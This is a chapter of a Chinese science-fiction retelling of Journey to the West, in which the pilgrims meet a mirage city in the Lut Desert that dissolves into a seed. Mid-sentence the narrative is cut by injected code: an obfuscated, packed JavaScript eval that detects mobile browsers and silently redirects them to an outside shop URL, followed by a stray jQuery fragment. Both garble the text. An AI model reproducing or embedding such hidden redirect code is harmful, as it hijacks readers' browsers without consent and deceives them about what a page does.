伊朗东南部，卢特荒漠边缘。沙丘的弧度被风塑成一种几乎对称的波浪形，从高处看下去像一整片凝固了的金黄海面。沙粒极细，走在上面几乎没有脚印——每一步踩下去之后沙子会从两侧回填，把痕迹抹平。
白色越野车穿过一片低矮的沙丘时，前方地平线上出现了一座城。
城墙完整，塔楼高耸，穹顶的蓝色釉面砖在阳光下反射出持续不变的亮度。城的轮廓边缘没有任何模糊感——没有热空气扭曲造成的波纹，没有沙尘在半空中形成的纱帘。它像一座用尺子画在玻璃板上的城，每一根线条都停在该停的位置上，没有任何一条超出它该占用的空间。
玄奘让敖烈停了车。他下车之后没有立刻往前走，站在原地看了那座城大约两分钟。沙僧在旁边举着平板拍了几张照片，然后低头看了一眼屏幕成像——照片上那座城的轮廓依然清晰，但像素阵列中有一部分数据段的颜色值完全一样，像一块被复制粘贴过的区域。
"它不是反射。"沙僧把平板翻转过来对着玄奘，"它看起来像是被精确计算过的。每一块砖的尺寸一致，每一扇窗户的间距相等。真实城市的砖缝不会全部一样宽。"
玄奘继续往前走。他走到距离城墙大约二十米处停下，这个距离已经足够看清城门上的铜钉——每一颗铜钉的尺寸相同，钉帽上的纹路完全相同，连纹路磨损的弧度也一致。是镜像复制。但城门正上方第三排铜钉左侧第四颗的位置上，钉帽表面的纹路出现了一处极为微小的偏差——那条弧线向左偏移了约半根头发丝的宽度。
悟空从后面跟上来，义眼的蓝光扫过城门上所有铜钉，扫描结果在他视网膜上形成一排数据标签，其中那颗偏移的铜钉在标签上标注了一行小字："非对称。差值零点零三毫米。"
"假的城里有一颗真的。"悟空说，"那颗钉子是被人单独放上去的。放的时候故意偏了零点零三毫米。"
玄奘抬手碰了一下那颗铜钉。指尖触到钉帽表面的瞬间，城门内侧传来一声极轻的像门轴转动的声音。但门没有开。声音之后，城内传来一阵持续了大约十秒的响声——像有人正在同时打开很多扇窗户。等响声停下来之后，城门下方门缝处的地面上多了一样东西。一朵花。很小，干枯的花瓣卷成暗褐色的筒状，像被压了很久之后才被放出来的。花瓣边缘有一些半透明的颗粒——是沙粒，被什么液体黏附在花瓣表面后干燥定型了。
玄奘蹲下来捡起那朵花。花梗的断口处是干的，没有汁液残留。但花瓣内侧的纹理在逆光下显出一种仍然可以被称为"活过"的结构——叶脉的走向仍然清晰，仍然指向同一个方向：花心。
"假城造不出这个。"玄奘把花举到眼前看了很久，"这座城可以复制全部的砖缝和对联的宽度。但它复制不了这朵花卷曲的方向。这朵花是自己长出来的，它在干枯之前绕了左边三圈才收进花心。复制品会绕右边。因为镜像翻转。"
他握着那朵干花站在原地。脚下的沙层里，有什么东西正在以他为中心缓慢地移动——不是风，是一种更均匀的、像水波扩散一样的位移。沙粒从四面八方向他的脚底聚拢，但聚拢的速度极慢，像一件东西正在缓慢地决定自己要不要被看见。
城墙开始变了。蓝釉瓦的亮度从均匀变为不均匀，从边缘向中心出现了一层细微的剥落——不是真的剥落，是视觉上的褪色，像一幅画被人从远方逐渐抽走了部分颜色。塔楼开始缩短，垛口开始变少。镜城从边缘向内收敛，每一道线条都在缓慢回缩，像被滴水浸湿了的墨线正在重新回到笔尖上。
沙僧的平板实时记录着收缩过程的帧率。他对着屏幕说了一句话，语调跟平时念冷笑话时差不多："它在散。从外缘往中心。散到城门位置的时候会停——因为那颗铜钉没有镜像。"
收缩过程一直持续到城墙的轮廓退到距离玄奘大约十米处才停止。留下的部分只剩城门、城门上方第三排左侧第四颗铜钉、以及城门下方地面上那朵干花原来所在的圆形沙面。其余的——塔楼、穹顶、完整对称的墙面——全部退回了沙层以下，像潮水退去之后留下的最后一片水迹。
城门中央那道门缝在收缩停止之后慢慢打开了。不是向内或向外推开的，是沿着中线自己向两侧分离的，像两扇被磁力吸附在一起的铁板正在逐渐减弱吸力。门缝后露出一条窄窄的通道，通道尽头光线暗淡，看不清通向什么地方。但通道入口处的地面上，放着一粒比芝麻还小的东西。形状不规则，表面有一层极薄的半透明包浆，像植物种子被唾液润湿后干燥形成的保护层。
玄奘把之前捡的干花放在通道入口左侧的地面上。然后他弯腰捡起那粒种子，放在掌心里。它的重量几乎为零，温度与周围空气相同。
"这朵花放了几百年的位置就是为了让人看到它然后被摘走。摘走它的人如果把花留在原地，城就不会散。但他把花带走了，城就散成了种子。"玄奘把种子收进衬衫胸前的口袋里，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849383|211779||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和黄河卵石的金色外壳分开存放，隔着一层布，"它等的不是人来观赏它。它等的是有人把它带走。"
八戒从后面凑上来，伸头看了一眼已经缩成一道窄门的残城轮廓："那这座城到底是真是假？"
"真的城门，真的铜钉，真的花。城本身是假的。但假城围住的三样东西是真的。"玄奘转身往回走。他走出去大约十几步之后，身后那道仅存的城门在风中发出一声极轻的咔哒声——像锁舌归位。再回头的时候，城门已经不见了。沙面上只剩那朵干花还放在原来的位置，花瓣边缘在夕阳中呈现出一种比几秒钟前更深的褐色。
敖烈的车载屏在玄奘坐进副驾之后弹了一行字："左侧后轮轮胎花纹缝隙里卡了一粒种子。与玄奘口袋中那粒外形相同，但大小只有其三分之一。已在行驶前清除。"
"放哪了？"
"储物箱第三层。单独用纸巾包裹，标注'镜城种子·附属样本'。"
玄奘把那粒主种子从口袋里掏出来看了看。它的表面在车内的暗光中泛着一层极淡的亮色，不是反光，是种子本身的蜡质层在经过手指温度之后产生了一次极轻微的相变。亮色的位置恰好对应花瓣卷曲方向的末端。
沙僧在后座合上平板的保护盖之后说了半句话："它等了那么久。如果没有人摘花——"他停了一下，然后用自己的方式补完了那个句子，"——那它还会继续等。等下一个愿意把假的里面唯一真的东西带走的人。"
八戒靠在座椅里，看着车顶天窗外正在暗下去的天空。今天他说得很少。但他忽然开口问了一句："师父，那粒种子——你打算种在哪？"
玄奘没有立刻回答。他把种子举到车窗透进来的最后一缕光线中看了一会儿。"等到了地方再决定。但肯定不是种在盆里。它被摘下来的时候没有根，说明它不需要土。它需要一个能被风带到别处的位置。"
八戒没有再问。车顶上雪怪把下巴换了个方向搁在行李架上，冰蓝色的眼睛在暮色中半睁半闭，像在听一种人类听不见的音频。
沙僧在当天记录的末尾补了一段没有放进主文档的备注："他说'它不需要土'的那句话，在他说完之后的第四秒钟，口袋里的种子表面温度上升了零点二度。不是体温传导造成的滞后升温——我在第三秒测过一次，第四秒又测过一次。升温发生在我和种子之间没有任何物理接触的时间段里。它自己暖和了一点点。可能是听到了一句它觉得对的话。"